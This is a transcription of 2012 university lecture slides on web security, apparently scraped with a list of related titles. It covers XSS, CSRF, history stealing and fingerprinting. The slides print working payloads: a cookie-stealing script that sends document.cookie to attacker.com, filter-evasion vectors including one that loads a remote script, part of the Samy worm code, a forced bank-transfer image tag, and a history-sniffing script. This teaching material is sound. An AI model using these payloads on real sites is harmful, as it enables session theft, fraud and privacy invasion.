Network Security Web Security



Similar documents
A Tale of the Weaknesses of Current Client-Side XSS Filtering

Cross-Site Scripting

Cross Site Scripting Prevention

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Web-Application Security

Cross Site Scripting in Joomla Acajoom Component

Analysis of Browser Defenses against XSS Attack Vectors

Finding XSS in Real World

WEB ATTACKS AND COUNTERMEASURES

A Tale of the Weaknesses of Current Client-side XSS Filtering

Recommended Practice Case Study: Cross-Site Scripting. February 2007

Web Application Security

(WAPT) Web Application Penetration Testing

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Project 2: Web Security Pitfalls

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

Criteria for web application security check. Version

Webapps Vulnerability Report

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Introduction to Computer Security

Preparing for the Cross Site Request Forgery Defense

Attacks on Clients: Dynamic Content & XSS

DIPLOMA IN WEBDEVELOPMENT

Are AJAX Applications Vulnerable to Hack Attacks?

Blackbox Reversing of XSS Filters

Web Application Security Considerations

What is Web Security? Motivation

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Security Model for the Client-Side Web Application Environments

Next Generation Clickjacking

Cross-site site Scripting Attacks on Android WebView

Web Application Worms & Browser Insecurity

JavaScript Security. John Graham Cumming

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Protection, Usability and Improvements in Reflected XSS Filters

Exploits: XSS, SQLI, Buffer Overflow

Universal XSS via IE8s XSS Filters

Cyber Security Workshop Ethical Web Hacking

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

Check list for web developers

Intrusion detection for web applications

Web application security

EECS 398 Project 2: Classic Web Vulnerabilities

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Relax Everybody: HTML5 Is Securer Than You Think

Client Side Filter Enhancement using Web Proxy

HTML5. Eoin Keary CTO BCC Risk Advisory.

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Protecting Browser State from Web Privacy Attacks. Collin Jackson, Andrew Bortz, Dan Boneh, John Mitchell Stanford University

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

Magento Security and Vulnerabilities. Roman Stepanov

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Where every interaction matters.

Introduction: 1. Daily 360 Website Scanning for Malware

Client vs. Server Implementations of Mitigating XSS Security Threats on Web Applications

Penetration Test Report

Ethical Hacking Penetrating Web 2.0 Security

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Complete Cross-site Scripting Walkthrough

HOD of Dept. of CSE & IT. Asst. Prof., Dept. Of CSE AIET, Lko, India. AIET, Lko, India

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Course Content: Session 1. Ethics & Hacking

Performance Testing for Ajax Applications

Web Application Guidelines

Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins

Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense

Last update: February 23, 2004

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

A Survey on Threats and Vulnerabilities of Web Services

Example. Represent this as XML

Defending against XSS,CSRF, and Clickjacking David Bishop

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

The Weakest Link: Mitigating Web Application Vulnerabilities. webscurity White Paper. webscurity Inc. Minneapolis, Minnesota USA

Gateway Apps - Security Summary SECURITY SUMMARY

NoSQL, But Even Less Security Bryan Sullivan, Senior Security Researcher, Adobe Secure Software Engineering Team

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM

Software Requirements Specification For Real Estate Web Site

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

WebCruiser Web Vulnerability Scanner User Guide

Web Application Exploits

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

Cross-Site-Scripting (XSS)

Reliable Mitigation of DOM-based XSS

HTTPParameter Pollution. ChrysostomosDaniel

JOOMLA SECURITY. ireland website design. by Oliver Hummel. ADDRESS Unit 12D, Six Cross Roads Business Park, Waterford City

HTTP Response Splitting

Course Information Course Number: IWT 1229 Course Name: Web Development and Design Foundation

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Hack Proof Your Webapps

Abusing HTML5. DEF CON 19 Ming Chow Lecturer, Department of Computer Science TuCs University Medford, MA

Server-Side JavaScript Injection Bryan Sullivan, Senior Security Researcher, Adobe Secure Software Engineering Team July 2011

Transcription:

Network Security Web Security Anna Sperotto, Ramin Sadre Design and Analysis of Communication Systems Group University of Twente, 2012

Cross Site Scripting

Cross Side Scripting (XSS) XSS is a case of (HTML) code injection Goal is to run the attacker s code in the context of the attacked application Can access information of the attacked application Even more dangerous if attacked application runs with higher privileges on the user s computer

Same-origin policy Introduced by Netscape (1996), similar concepts in other browsers (IE: zones ) Should prevent access to cookies properties of other open pages (in other windows) Same origin: access only granted if two pages have same server host protocol port

Same-origin policy: Example http://www.example.com/dir/page.html Compared URL Outcome Reason http://www.example.com/dir/ page.html http://www.example.com/dir2 /other.html http://www.example.com:81/ dir/other.html https://www.example.com/dir /other.html http://en.example.com/dir/oth er.html http://example.com/dir/other. html http://v2.www.example.com/ dir/other.html Success Success Failure Failure Failure Failure Failure Same protocol and host Same protocol and host Same protocol and host but different port Different protocol Different host Different host Different host (source: http://en.wikipedia.org/wiki/same_origin_policy )

Example: Stealing cookie (1) A search engine where you enter your query in a field: http://www.find.com/search.php?qry=dacs Result page contains the query: <body> Results for <?php echo $_GET["qry"];?>

Example: Stealing cookie (2) Rather innocent application but dangerous because search query is not validated Code can be injected by using search queries of the form <script> some javascript </script> Code is then executed in the web browser of the user: <body> Results for <script> </script>

Example: Stealing cookie (3) Since script is running in the page of www.find.com, it can access all its information, for example: Steal its cookies (document.cookie) Manipulate DOM components (form fields, links, ) Execute scripts with privileges of www.find.com Example: send cookie to attacker <script>window.open("http://attacker.com?c=" +document.cookie)</script> Critical if cookie contains session ID (hijacking)

Example: Stealing cookie (4) How to execute the attack? Spread the manipulated URL via Spam mails Forum postings Chat messages

Non-persistent/Reflected XSS Previous example is a non-persistent attack: only affects the (temporary) result page of the search query exploits a server-side vulnerability (server did not validate search queries) Client-side vulnerabilities also possible: complex web applications also run local scripts to process form input

Persistent/Stored/Second-order XSS Inject code permanently on server Example: 1. Create user profile on forum website 2. Enter script in one of your profile fields 3. Every user visiting the web site and watching your profile executes the script Advantage: victims automatically found, no social engineering required

Mitigation Server-side: Validate input, filter out html tags, Escape/encode special characters Combine session IDs (cookies) with client IP address Usage of special tools to check web sites for vulnerabilities (w3af, ) Client-side: Disable javascript XSS filters to check server response

MySpace worm ( Samy worm ) Released on October 2005. Infected more than one million MySpace user profiles in one day. <div id=mycode style="background: url('java Newline script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if (C){return C}else{return eval('document.body.inne'+'rhtml')}}function getdata(au){m=getfromurl(au,'friendid');l=getfromurl(au,'my token')}function getqueryparams(){var E=document.location.search;

Filters Race between filter designers and XSS authors Modern XSS filters have their own HTML parser, not only simple pattern matching Newline to confuse filters searching for javascript: <IMG SRC="jav ascript:alert('xss');"> No <script> or javascript at all: <BODY ONLOAD=alert('XSS')> Not detectable by simple filters: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> (source: http://sec.drorshalev.com/dev/xss/xsstricks.htm)

Other examples Also very popular: web-based mail clients 1. Put html/javascript code into mail subject or body 2. Send mail to victim 3. Victim reads mail in web browser script executed Facebook worm (2012) placed an invisible like button under the mouse pointer

Cross-site request forgery (CSRF/XRSF) XRSF XSS Example scenario: 1. User A logins to bank web site X for Internet banking 2. In a different window, user visits a chat forum Y 3. Attacker B injects code into Y to manipulate X: <img src="http://x.com/transfer?account=a&amount=10000& to=b"> Other example: user logins to X with administrator privileges. Attacker issues commands from Y to create a new user at X.

History Stealing

History Stealing Goal: web site X wants to know which other web sites the user has visited before. Alternatively: has user visited web site A, B,? Reasons: 1. Learn about your competitors 2. Prepare phishing (which bank are you using?) 3. Improve user experience

History Stealing: Style-Based Approach (1) Web browers display links to visited web sites differently from unvisited ones Link display style (color, position, image, ) can be controlled by user and CSS: :link, :visited { text-decoration: underline ; } :link { color: blue ; /* unvisited links */ } :visited { color: red ; /* visited links */ }

History Stealing: Style-Based Approach (2) Display style of a (hidden) link can be determined by script var links = document.links; for (var i = 0; i < links.length; ++i) { var link = links[i]; /* exact strings to match actually need to be auto-detected using reference elements */ if (getcomputedstyle(link, "").color == "rgb(0, 0, 128)") { // we know link.href has not been visited } else { // we know link.href has been visited } } (source: http://dbaron.org/mozilla/visited-privacy )

History Stealing: Style-Based Approach (3) Counter measures: Disable browser history Fixed in Firefox 4, Chrome 9, Safari 5 and IE 9 Visited links can only differ in color form unvisited ones getcomputedstyle always returns unvisited style values (http://whattheinternetknowsaboutyou.com/)

History Stealing: Timing attacks Timing attacks = side channel attack exploiting the fact that some operations take more time than others In history stealing: 1. Define a complex style for visited links, so they take more time to be displayed 2. Measure the time to fetch a document from site A. Should be fast if already visited (in cache) Counter measures: Disable browser history/cache In Firefox 4: render engine optimized (all links rendered with same speed)

History Stealing: In practice Has been used to detect visited web sites, Google search terms, Wikipedia articles, ZIP codes, In 2010, researchers tested 50000 popular web sites for history stealing: Youporn (checks pornhub, tube8) Morningstar 44 other cases of game, adult, finance, web sites (source: D. Jang, R. Jhala, S. Lerner, H. Shacham. 2010. An empirical study of privacy-violating information flows in JavaScript web applications. In Proceedings of the 17th ACM conference on Computer and communications security (CCS '10))

Various hacks

User tracking/fingerprinting Easiest way to monitor user behavior on a web site: cookies Track user across different web sites: third-party cookies, for example set by banner ads But, check https://panopticlick.eff.org/

Uniqueness of fingerprint (source: https://panopticlick.eff.org/browser-uniqueness.pdf )